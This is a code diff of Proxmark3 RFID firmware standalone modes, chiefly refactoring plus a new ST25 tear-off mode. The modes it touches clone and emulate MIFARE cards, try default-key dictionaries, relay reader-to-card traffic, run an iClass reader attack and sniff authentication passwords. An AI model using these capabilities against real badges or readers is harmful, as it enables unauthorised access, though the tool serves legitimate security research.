STANDALONE_MODES_REQ_FLASH := LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_BOG HF_COLIN HF_ICECLASS HF_LEGICSIM HF_MFCSIM
STANDALONE_MODES_REQ_FLASH := LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_BOG HF_COLIN HF_ICECLASS HF_LEGICSIM HF_MFCSIM HF_ST25_TEAROFF
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),)
STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE)
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),)

View file

@ -157,6 +157,10 @@ endif
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_young.c
endif
# WITH_STANDALONE_HF_ST25_TEAROFF
ifneq (,$(findstring WITH_STANDALONE_HF_ST25_TEAROFF,$(APP_CFLAGS)))
SRC_STANDALONE = hf_st25_tearoff.c
endif
ifneq (,$(findstring WITH_STANDALONE_DANKARMULTI,$(APP_CFLAGS)))
SRC_STANDALONE = dankarmulti.c

View file

@ -106,13 +106,11 @@ END_MODE_LIST
* End mode list *
*******************/
void update_mode(int selected);
void ModInfo(void) {
DbpString(" Multi standalone loader aka dankarmulti (Daniel Karling)");
}
void update_mode(int selected) {
static void update_mode(int selected) {
if (selected >= NUM_MODES) {
SpinDown(100);
Dbprintf("Invalid mode selected");

View file

@ -70,7 +70,9 @@ void RunMod(void) {
FpgaDownloadAndGo(FPGA_BITSTREAM_HF_15);
iso15_tag_t *tag = (iso15_tag_t *) BigBuf_get_EM_addr();
if (tag == NULL) return;
if (tag == NULL) {
return;
}
uint8_t cmd[8] = {0};
int res;

View file

@ -67,38 +67,32 @@ typedef struct {
uint8_t sak;
} PACKED card_clone_t;
int get_block_count(iso14a_card_select_t card, uint8_t *version, uint16_t version_len);
uint16_t get_ev1_version(iso14a_card_select_t card, uint8_t *version, uint16_t version_len);
uint16_t get_ev1_signature(iso14a_card_select_t card, uint8_t *signature, uint16_t sign_len);
uint16_t get_ev1_counter(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len);
uint16_t get_ev1_tearing(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len);
uint16_t get_ev1_version(iso14a_card_select_t card, uint8_t *version, uint16_t version_len) {
static uint16_t get_ev1_version(iso14a_card_select_t card, uint8_t *version, uint16_t version_len) {
return mifare_sendcmd(MIFARE_ULEV1_VERSION, NULL, 0, version, version_len, NULL, NULL);
}
uint16_t get_ev1_signature(iso14a_card_select_t card, uint8_t *signature, uint16_t sign_len) {
static uint16_t get_ev1_signature(iso14a_card_select_t card, uint8_t *signature, uint16_t sign_len) {
uint8_t cmd[4] = {MIFARE_ULEV1_READSIG, 0x00, 0x00, 0x00};
AddCrc14A(cmd, 2);
ReaderTransmit(cmd, sizeof(cmd), NULL);
return ReaderReceive(signature, sign_len, NULL);
}
uint16_t get_ev1_counter(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) {
static uint16_t get_ev1_counter(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) {
uint8_t cmd[4] = {MIFARE_ULEV1_READ_CNT, counter, 0x00, 0x00};
AddCrc14A(cmd, 2);
ReaderTransmit(cmd, sizeof(cmd), NULL);
return ReaderReceive(response, resp_len, NULL);
}
uint16_t get_ev1_tearing(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) {
static uint16_t get_ev1_tearing(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) {
uint8_t cmd[4] = {MIFARE_ULEV1_CHECKTEAR, counter, 0x00, 0x00};
AddCrc14A(cmd, 2);
ReaderTransmit(cmd, sizeof(cmd), NULL);
return ReaderReceive(response, resp_len, NULL);
}
int get_block_count(iso14a_card_select_t card, uint8_t *version, uint16_t version_len) {
static int get_block_count(iso14a_card_select_t card, const uint8_t *version, uint16_t version_len) {
// Default to MAX_DEFAULT_BLOCKS blocks
int block_count = MAX_DEFAULT_BLOCKS;
// Most of this code is from cmdhfmfu.c
@ -163,7 +157,7 @@ void RunMod(void) {
if (button_pressed != BUTTON_NO_CLICK || data_available())
break;
else if (state == STATE_SEARCH) {
if (!iso14443a_select_card(NULL, &card, NULL, true, 0, true)) {
if (iso14443a_select_card(NULL, &card, NULL, true, 0, true) == 0) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF();
SpinDelay(500);
@ -248,10 +242,11 @@ void RunMod(void) {
state = STATE_SEARCH;
}
} else if (state == STATE_EMUL) {
uint16_t flags = FLAG_7B_UID_IN_DATA;
uint16_t flags = 0;
FLAG_SET_UID_IN_DATA(flags, 7);
Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state.");
SimulateIso14443aTag(7, flags, card.uid, 0);
SimulateIso14443aTag(7, flags, card.uid, 0, NULL, 0, false, false);
// Go back to search state if user presses pm3-button
state = STATE_SEARCH;

View file

@ -60,22 +60,21 @@ static void RAMFUNC SniffAndStore(uint8_t param) {
// free all previous allocations first
BigBuf_free();
BigBuf_Clear_ext(false);
clear_trace();
set_tracing(true);
// Array to store the authpwds
uint8_t *capturedPwds = BigBuf_malloc(4 * MAX_PWDS_PER_SESSION);
uint8_t *capturedPwds = BigBuf_calloc(4 * MAX_PWDS_PER_SESSION);
// The command (reader -> tag) that we're receiving.
uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE);
uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE);
uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE);
uint8_t *receivedCmdPar = BigBuf_calloc(MAX_PARITY_SIZE);
// The response (tag -> reader) that we're receiving.
uint8_t *receivedResp = BigBuf_malloc(MAX_FRAME_SIZE);
uint8_t *receivedRespPar = BigBuf_malloc(MAX_PARITY_SIZE);
uint8_t *receivedResp = BigBuf_calloc(MAX_FRAME_SIZE);
uint8_t *receivedRespPar = BigBuf_calloc(MAX_PARITY_SIZE);
// The DMA buffer, used to stream samples from the FPGA
uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE);
uint8_t *dmaBuf = BigBuf_calloc(DMA_BUFFER_SIZE);
uint8_t *data = dmaBuf;
uint8_t previous_data = 0;
@ -134,13 +133,13 @@ static void RAMFUNC SniffAndStore(uint8_t param) {
continue;
// primary buffer was stopped( <-- we lost data!
if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
// Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
}
// secondary buffer sets as primary, secondary buffer was stopped
if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}

View file

@ -33,7 +33,10 @@
#ifdef CARDHOPPER_USB
#define cardhopper_write usb_write
#define cardhopper_read usb_read_ng
#define cardhopper_data_available usb_poll_validate_length
bool cardhopper_data_available(void);
bool cardhopper_data_available(void) {
return usb_read_ng_has_buffered_data() || usb_poll_validate_length();
}
#else
#define cardhopper_write usart_writebuffer_sync
#define cardhopper_read usart_read_ng
@ -56,7 +59,7 @@ static const uint8_t magicCARD[4] = "CARD";
static const uint8_t magicEND [4] = "\xff" "END";
static const uint8_t magicRSRT[7] = "RESTART";
static const uint8_t magicERR [4] = "\xff" "ERR";
static uint8_t magicACK [1] = "\xfe"; // is constant, but must be passed to API that doesn't like that
static const uint8_t magicACK [1] = "\xfe";
// Forward declarations
static void become_reader(void);
@ -69,7 +72,7 @@ static bool try_use_canned_response(const uint8_t *, int, tag_response_info_t *)
static void reply_with_packet(packet_t *);
static void read_packet(packet_t *);
static void write_packet(packet_t *);
static void write_packet(const packet_t *);
static bool GetIso14443aCommandFromReaderInterruptible(uint8_t *, uint16_t, uint8_t *, int *);
@ -107,14 +110,22 @@ void RunMod(void) {
break;
}
if (memcmp(magicREAD, modeRx.dat, sizeof(magicREAD)) == 0) {
if (modeRx.len == 0) {
DbpString(_CYAN_("[@]") " Zero length message");
continue;
}
if (modeRx.len == sizeof(magicREAD) && memcmp(magicREAD, modeRx.dat, sizeof(magicREAD)) == 0) {
DbpString(_CYAN_("[@]") " I am a READER. I talk to a CARD.");
become_reader();
} else if (memcmp(magicCARD, modeRx.dat, sizeof(magicCARD)) == 0) {
} else if (modeRx.len == sizeof(magicCARD) && memcmp(magicCARD, modeRx.dat, sizeof(magicCARD)) == 0) {
DbpString(_CYAN_("[@]") " I am a CARD. I talk to a READER.");
become_card();
} else if (memcmp(magicEND, modeRx.dat, sizeof(magicEND)) == 0) {
} else if (modeRx.len == sizeof(magicEND) && memcmp(magicEND, modeRx.dat, sizeof(magicEND)) == 0) {
break;
} else if (modeRx.len == sizeof(magicRSRT) && memcmp(magicRSRT, modeRx.dat, sizeof(magicRSRT)) == 0) {
DbpString(_CYAN_("[@]") " Got RESET but already reset.");
continue;
} else {
DbpString(_YELLOW_("[!]") " unknown mode!");
Dbhexdump(modeRx.len, modeRx.dat, true);
@ -135,14 +146,19 @@ static void become_reader(void) {
packet_t packet = { 0 };
packet_t *rx = &packet;
packet_t *tx = &packet;
uint8_t toCard[256] = { 0 };
uint8_t toCard[MAX_FRAME_SIZE] = { 0 };
uint8_t parity[MAX_PARITY_SIZE] = { 0 };
while (1) {
WDT_HIT();
read_packet(rx);
if (memcmp(magicRSRT, rx->dat, sizeof(magicRSRT)) == 0) break;
if (rx->len == sizeof(magicRSRT) && memcmp(magicRSRT, rx->dat, sizeof(magicRSRT)) == 0) break;
if (BUTTON_PRESS()) {
DbpString(_CYAN_("[@]") " Button pressed - Breaking from reader loop");
break;
}
if (rx->dat[0] == ISO14443A_CMD_RATS && rx->len == 4) {
// got RATS from reader, reset the card
@ -162,11 +178,15 @@ static void become_reader(void) {
AddCrc14A(toCard, rx->len);
ReaderTransmit(toCard, rx->len + 2, NULL);
tx->len = ReaderReceive(tx->dat, sizeof(tx->dat), parity);
if (tx->len == 0) {
// read to toCard instead of tx->dat directly to allow the extra byte for the CRC
uint16_t fromCardLen = ReaderReceive(toCard, sizeof(toCard), parity);
if (fromCardLen <= 2) {
tx->len = sizeof(magicERR);
memcpy(tx->dat, magicERR, sizeof(magicERR));
} else tx->len -= 2; // cut off the CRC
} else {
tx->len = fromCardLen - 2; // cut off the CRC
memcpy(tx->dat, toCard, tx->len);
}
write_packet(tx);
}
@ -206,21 +226,22 @@ static void become_card(void) {
iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
uint8_t tagType;
uint16_t flags;
uint16_t flags = 0;
uint8_t data[PM3_CMD_DATA_SIZE] = { 0 };
packet_t ats = { 0 };
prepare_emulation(&tagType, &flags, data, &ats);
tag_response_info_t *canned;
uint32_t cuid;
uint32_t counters[3] = { 0 };
uint8_t tearings[3] = { 0xbd, 0xbd, 0xbd };
uint8_t pages;
SimulateIso14443aInit(tagType, flags, data, &canned, &cuid, counters, tearings, &pages);
if (SimulateIso14443aInit(tagType, flags, data, NULL, 0, &canned, &cuid, &pages, NULL) == false) {
DbpString(_RED_("Error initializing the emulation process!"));
return;
}
DbpString(_CYAN_("[@]") " Setup done - entering emulation loop");
int fromReaderLen;
uint8_t fromReaderDat[256] = { 0 };
uint8_t fromReaderDat[MAX_FRAME_SIZE] = { 0 };
uint8_t parity[MAX_PARITY_SIZE] = { 0 };
packet_t packet = { 0 };
packet_t *tx = &packet;
@ -261,8 +282,14 @@ static void become_card(void) {
memcpy(tx->dat, fromReaderDat, tx->len);
write_packet(tx);
if (no_reply) {
// since the RATS reply has already been sent waiting here will can result in missing the next reader command
// if we do get a reply later on while waiting for the next reader message it will be safely ignored
continue;
}
read_packet(rx);
if (!no_reply && rx->len > 0) {
if (rx->len > 0) {
reply_with_packet(rx);
}
}
@ -297,7 +324,7 @@ static void prepare_emulation(uint8_t *tagType, uint16_t *flags, uint8_t *data,
}
memcpy(data, uidRx.dat, uidRx.len);
*flags = (uidRx.len == 10 ? FLAG_10B_UID_IN_DATA : (uidRx.len == 7 ? FLAG_7B_UID_IN_DATA : FLAG_4B_UID_IN_DATA));
FLAG_SET_UID_IN_DATA(*flags, uidRx.len);
DbpString(_CYAN_("[@]") " UID:");
Dbhexdump(uidRx.len, data, false);
Dbprintf(_CYAN_("[@]") " Flags: %hu", *flags);
@ -328,7 +355,13 @@ static void cook_ats(packet_t *ats, uint8_t fwi, uint8_t sfgi) {
uint8_t orig_t0 = ats->dat[1];
// Update FSCI in T0 from the received ATS
t0 |= orig_t0 & 0x0F;
uint8_t fsci = orig_t0 & 0x0F;
if (fsci > 8) {
// our packet length maxes out at 255 bytes, an FSCI of 8 requires 256 bytes
// but since we drop the 2 byte CRC16 we're safe capping this at 8
fsci = 8;
}
t0 |= fsci;
uint8_t len = ats->len - 2;
uint8_t *orig_ats_ptr = &ats->dat[2];
@ -433,20 +466,12 @@ static bool try_use_canned_response(const uint8_t *dat, int len, tag_response_in
}
static uint8_t g_responseBuffer [512 ] = { 0 };
static uint8_t g_modulationBuffer[1024] = { 0 };
static uint8_t g_responseBuffer [MAX_FRAME_SIZE] = { 0 };
static void reply_with_packet(packet_t *packet) {
tag_response_info_t response = { 0 };
response.response = g_responseBuffer;
response.modulation = g_modulationBuffer;
memcpy(response.response, packet->dat, packet->len);
AddCrc14A(response.response, packet->len);
response.response_n = packet->len + 2;
prepare_tag_modulation(&response, sizeof(g_modulationBuffer));
EmSendPrecompiledCmd(&response);
memcpy(g_responseBuffer, packet->dat, packet->len);
AddCrc14A(g_responseBuffer, packet->len);
EmSendCmd(g_responseBuffer, packet->len + 2);
}
@ -476,23 +501,31 @@ static void read_packet(packet_t *packet) {
if (packet->len == 0x50 && dataReceived >= sizeof(PacketResponseNGPreamble) && packet->dat[0] == 0x4D && packet->dat[1] == 0x33 && packet->dat[2] == 0x61) {
// PM3 NG packet magic
DbpString(_CYAN_("[@]") " PM3 NG packet recieved - ignoring");
DbpString(_CYAN_("[@]") " PM3 NG packet received - ignoring");
// clear any remaining buffered data
while (cardhopper_data_available()) {
cardhopper_read(packet->dat, 255);
cardhopper_read(packet->dat, sizeof(packet->dat));
}
packet->len = 0;
return;
}
}
cardhopper_write(magicACK, sizeof(magicACK));
if (packet->len > (MAX_FRAME_SIZE - 2)) {
// this will overrun MAX_FRAME_SIZE once we re-add the CRC
// in theory this should never happen but better to be defensive
packet->len = 0;
cardhopper_write(magicERR, sizeof(magicERR));
} else {
cardhopper_write(magicACK, sizeof(magicACK));
}
}
static void write_packet(packet_t *packet) {
cardhopper_write((uint8_t *) packet, packet->len + 1);
static void write_packet(const packet_t *packet) {
cardhopper_write((const uint8_t *) packet, packet->len + 1);
}

View file

@ -95,6 +95,11 @@ static iso14a_card_select_t colin_p_card;
static int colin_currline;
static int colin_currfline;
static int colin_curlline;
static int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, const uint8_t *datain, uint64_t *key);
static int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype);
static void saMifareMakeTag(void);
static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, const uint8_t *datain);
static void WriteTagToFlash(uint32_t uid, size_t size);
// TODO : Implement fast read of KEYS like in RFIdea
// also http://ext.delaat.net/rp/2015-2016/p04/report.pdf
@ -245,7 +250,7 @@ static char *ReadSchemasFromSPIFFS(char *filename) {
int changed = rdv40_spiffs_lazy_mount();
uint32_t size = size_in_spiffs((char *)filename);
uint8_t *mem = BigBuf_malloc(size);
uint8_t *mem = BigBuf_calloc(size);
rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)mem, size, RDV40_SPIFFS_SAFETY_SAFE);
if (changed) {
@ -257,7 +262,7 @@ static char *ReadSchemasFromSPIFFS(char *filename) {
static void add_schemas_from_json_in_spiffs(char *filename) {
char *jsonfile = ReadSchemasFromSPIFFS((char *)filename);
const char *jsonfile = ReadSchemasFromSPIFFS((char *)filename);
int i, len = strlen(jsonfile);
struct json_token t;
@ -287,7 +292,7 @@ static void ReadLastTagFromFlash(void) {
DbprintfEx(FLAG_NEWLINE, "Button HELD ! Using LAST Known TAG for Simulation...");
cjSetCursLeft();
uint8_t *mem = BigBuf_malloc(size);
uint8_t *mem = BigBuf_calloc(size);
// this one will handle filetype (symlink or not) and resolving by itself
rdv40_spiffs_read_as_filetype((char *)HFCOLIN_LASTTAG_SYMLINK, (uint8_t *)mem, len, RDV40_SPIFFS_SAFETY_SAFE);
@ -301,7 +306,7 @@ static void ReadLastTagFromFlash(void) {
return;
}
void WriteTagToFlash(uint32_t uid, size_t size) {
static void WriteTagToFlash(uint32_t uid, size_t size) {
SpinOff(0);
LED_A_ON();
LED_B_ON();
@ -311,7 +316,7 @@ void WriteTagToFlash(uint32_t uid, size_t size) {
uint32_t len = size;
uint8_t data[(size * (16 * 64)) / 1024];
emlGetMem(data, 0, (size * 64) / 1024);
emlGetMem_xt(data, 0, (size * 64) / 1024, MIFARE_BLOCK_SIZE);
char dest[SPIFFS_OBJ_NAME_LEN];
uint8_t buid[4];
@ -440,11 +445,11 @@ void RunMod(void) {
};
// Can remember something like that in case of Bigbuf
keyBlock = BigBuf_malloc(ARRAYLEN(mfKeys) * 6);
keyBlock = BigBuf_calloc(ARRAYLEN(mfKeys) * MF_KEY_LENGTH);
int mfKeysCnt = ARRAYLEN(mfKeys);
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
num_to_bytes(mfKeys[mfKeyCounter], MF_KEY_LENGTH, (uint8_t *)(keyBlock + (mfKeyCounter * MF_KEY_LENGTH)));
}
// TODO : remember why we actually had need to initialize this array in such specific case
@ -493,7 +498,7 @@ failtag:
SpinOff(50);
LED_A_ON();
while (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) {
while (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) {
WDT_HIT();
if (BUTTON_HELD(10) == BUTTON_HOLD) {
WDT_HIT();
@ -646,7 +651,7 @@ failtag:
emlClearMem();
uint8_t mblock[16];
for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) {
emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1);
emlGetMem_xt(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1, MIFARE_BLOCK_SIZE);
for (uint8_t t = 0; t < 2; t++) {
memcpy(mblock + t * 10, foundKey[t][sectorNo], 6);
}
@ -717,33 +722,10 @@ readysim:
SpinOff(100);
LED_C_ON();
/*
uint16_t flags = 0;
switch (colin_p_card.uidlen) {
case 10:
flags = FLAG_10B_UID_IN_DATA;
break;
case 7:
flags = FLAG_7B_UID_IN_DATA;
break;
case 4:
flags = FLAG_4B_UID_IN_DATA;
break;
default:
flags = FLAG_UID_IN_EMUL;
break;
}
// Use UID, SAK, ATQA from EMUL, if uid not defined
if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
flags |= FLAG_UID_IN_EMUL;
}
flags |= FLAG_MF_1K;
if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
flags |= FLAG_UID_IN_EMUL;
}
flags = 0x10;
*/
uint16_t flags = FLAG_UID_IN_EMUL;
// FLAG_SET_UID_IN_DATA(flags, colin_p_card.uidlen);
FLAG_SET_UID_IN_EMUL(flags);
FLAG_SET_MF_SIZE(flags, MIFARE_1K_MAX_BYTES);
DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags);
cjSetCursLeft();
SpinOff(1000);
@ -786,7 +768,7 @@ readysim:
* - *datain used as error return
* - tracing is falsed
*/
int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
static int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
uint8_t numSectors = numofsectors;
uint8_t keyType = keytype;
@ -803,7 +785,7 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
bool isOK = true;
if (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) {
if (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) {
isOK = false;
}
@ -830,7 +812,7 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
emlSetMem_xt(dataoutbuf, FirstBlockOfSector(s) + blockNo, 1, 16);
} else {
// sector trailer, keep the keys, set only the AC
emlGetMem(dataoutbuf2, FirstBlockOfSector(s) + blockNo, 1);
emlGetMem_xt(dataoutbuf2, FirstBlockOfSector(s) + blockNo, 1, MIFARE_BLOCK_SIZE);
memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4);
emlSetMem_xt(dataoutbuf2, FirstBlockOfSector(s) + blockNo, 1, 16);
}
@ -848,8 +830,8 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
/* the chk function is a piwi'ed(tm) check that will try all keys for
a particular sector. also no tracing no dbg */
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace,
uint8_t keyCount, uint8_t *datain, uint64_t *key) {
static int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace,
uint8_t keyCount, const uint8_t *datain, uint64_t *key) {
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
set_tracing(false);
@ -862,8 +844,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace,
for (uint8_t i = 0; i < keyCount; i++) {
/* no need for anticollision. just verify tag is still here */
// if (!iso14443a_fast_select_card(colin_cjuid, 0)) {
if (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) {
if (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) {
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%sFATAL%s : E_MF_LOSTTAG", _XRED_, _XWHITE_);
break;
@ -886,7 +867,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace,
return retval;
}
void saMifareMakeTag(void) {
static void saMifareMakeTag(void) {
uint8_t cfail = 0;
cjSetCursLeft();
cjTabulize();
@ -901,7 +882,7 @@ void saMifareMakeTag(void) {
int flags = 0;
for (int blockNum = 0; blockNum < 16 * 4; blockNum++) {
uint8_t mblock[16];
emlGetMem(mblock, blockNum, 1);
emlGetMem_xt(mblock, blockNum, 1, MIFARE_BLOCK_SIZE);
// switch on field and send magic sequence
if (blockNum == 0)
flags = 0x08 + 0x02;
@ -946,7 +927,7 @@ void saMifareMakeTag(void) {
// Matt's StandAlone mod.
// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
//-----------------------------------------------------------------------------
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) {
static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, const uint8_t *datain) {
// params
uint8_t needWipe = arg0;
// bit 0 - need get UID
@ -981,7 +962,7 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data
// get UID from chip
if (workFlags & 0x01) {
if (!iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true)) {
if (iso14443a_select_card(colin_cjuid, &colin_p_card, &colin_cjcuid, true, 0, true) == 0) {
DbprintfEx(FLAG_NEWLINE, "Can't select card");
break;
};

View file

@ -35,12 +35,6 @@
#define _XWHITE_ "\x1b[0m"
#define _XORANGE_ _XYELLOW_
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key);
int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype);
void saMifareMakeTag(void);
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void WriteTagToFlash(uint32_t uid, size_t size);
const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'};
//void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug);

View file

@ -79,13 +79,8 @@ void RunMod(void) {
}
} else if (state == STATE_EMUL) {
uint16_t flags = 0;
if (card.uidlen == 4) {
flags |= FLAG_4B_UID_IN_DATA;
} else if (card.uidlen == 7) {
flags |= FLAG_7B_UID_IN_DATA;
} else if (card.uidlen == 10) {
flags |= FLAG_10B_UID_IN_DATA;
} else {
FLAG_SET_UID_IN_DATA(flags, card.uidlen);
if (IS_FLAG_UID_IN_EMUL(flags)) {
Dbprintf("Unusual UID length, something is wrong. Try again please.");
state = STATE_READ;
continue;
@ -94,22 +89,22 @@ void RunMod(void) {
Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state.");
if (card.sak == 0x08 && card.atqa[0] == 0x04 && card.atqa[1] == 0) {
DbpString("Mifare Classic 1k");
SimulateIso14443aTag(1, flags, card.uid, 0);
SimulateIso14443aTag(1, flags, card.uid, 0, NULL, 0, false, false);
} else if (card.sak == 0x08 && card.atqa[0] == 0x44 && card.atqa[1] == 0) {
DbpString("Mifare Classic 4k ");
SimulateIso14443aTag(8, flags, card.uid, 0);
SimulateIso14443aTag(8, flags, card.uid, 0, NULL, 0, false, false);
} else if (card.sak == 0x00 && card.atqa[0] == 0x44 && card.atqa[1] == 0) {
DbpString("Mifare Ultralight");
SimulateIso14443aTag(2, flags, card.uid, 0);
SimulateIso14443aTag(2, flags, card.uid, 0, NULL, 0, false, false);
} else if (card.sak == 0x20 && card.atqa[0] == 0x04 && card.atqa[1] == 0x03) {
DbpString("Mifare DESFire");
SimulateIso14443aTag(3, flags, card.uid, 0);
SimulateIso14443aTag(3, flags, card.uid, 0, NULL, 0, false, false);
} else if (card.sak == 0x20 && card.atqa[0] == 0x44 && card.atqa[1] == 0x03) {
DbpString("Mifare DESFire Ev1/Plus/JCOP");
SimulateIso14443aTag(3, flags, card.uid, 0);
SimulateIso14443aTag(3, flags, card.uid, 0, NULL, 0, false, false);
} else {
Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation");
SimulateIso14443aTag(1, flags, card.uid, 0);
SimulateIso14443aTag(1, flags, card.uid, 0, NULL, 0, false, false);
}
// Go back to search state if user presses pm3-button

View file

@ -238,7 +238,7 @@ static int reader_attack_mode(void) {
BigBuf_free();
uint16_t mac_response_len = 0;
uint8_t *mac_responses = BigBuf_malloc(MAC_RESPONSES_SIZE);
uint8_t *mac_responses = BigBuf_calloc(MAC_RESPONSES_SIZE);
iclass_simulate(ICLASS_SIM_MODE_READER_ATTACK, NUM_CSNS, false, csns, mac_responses, &mac_response_len);
@ -250,9 +250,9 @@ static int reader_attack_mode(void) {
size_t dumplen = NUM_CSNS * 24;
uint8_t *dump = BigBuf_malloc(dumplen);
uint8_t *dump = BigBuf_calloc(dumplen);
if (dump == false) {
Dbprintf("failed to allocate memory");
Dbprintf("Failed to allocate memory");
return PM3_EMALLOC;
}
@ -305,6 +305,7 @@ static int reader_dump_mode(void) {
BigBuf_free();
uint8_t *card_data = BigBuf_malloc(ICLASS_16KS_SIZE);
// Don't use calloc since we set allocated memory to 0xFF's
memset(card_data, 0xFF, ICLASS_16KS_SIZE);
if (BUTTON_PRESS()) {
@ -442,6 +443,7 @@ static int dump_sim_mode(void) {
BigBuf_free();
uint8_t *card_data = BigBuf_malloc(ICLASS_16KS_SIZE);
// Don't use calloc since we set allocated memory to 0xFF's
memset(card_data, 0xFF, ICLASS_16KS_SIZE);
if (BUTTON_PRESS()) {

View file

@ -69,16 +69,18 @@ static void save_dump_to_file(legic_card_select_t *p_card) {
// legic functions puts it memory in Emulator reserved memory.
uint8_t *mem = BigBuf_get_EM_addr();
char *preferredName = (char *)BigBuf_malloc(30);
char *preferredName = (char *)BigBuf_calloc(30);
if (preferredName == NULL) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory");
goto OUT;
}
sprintf(preferredName, "hf-legic-%02X%02X%02X%02X-dump", p_card->uid[0], p_card->uid[1], p_card->uid[2], p_card->uid[3]);
uint16_t preferredNameLen = strlen(preferredName);
char *filename = (char *)BigBuf_malloc(preferredNameLen + 4 + 1 + 10);
char *filename = (char *)BigBuf_calloc(preferredNameLen + 4 + 1 + 10);
if (filename == NULL) {
if (g_dbglevel >= DBG_DEBUG) Dbprintf("Failed to allocate memory");
goto OUT;
}

View file

@ -33,6 +33,7 @@
#include "mifaresim.h" // mifare1ksim
#include "mifareutil.h"
#include "proxmark3_arm.h"
#include "spiffs.h"
#include "standalone.h" // standalone definitions
#include "string.h"
#include "ticks.h"
@ -246,7 +247,7 @@ void RunMod(void) {
// usb_disable();
// Allocate dictionary buffer
uint64_t *const mfcKeys = (uint64_t *)BigBuf_malloc(
uint64_t *const mfcKeys = (uint64_t *)BigBuf_calloc(
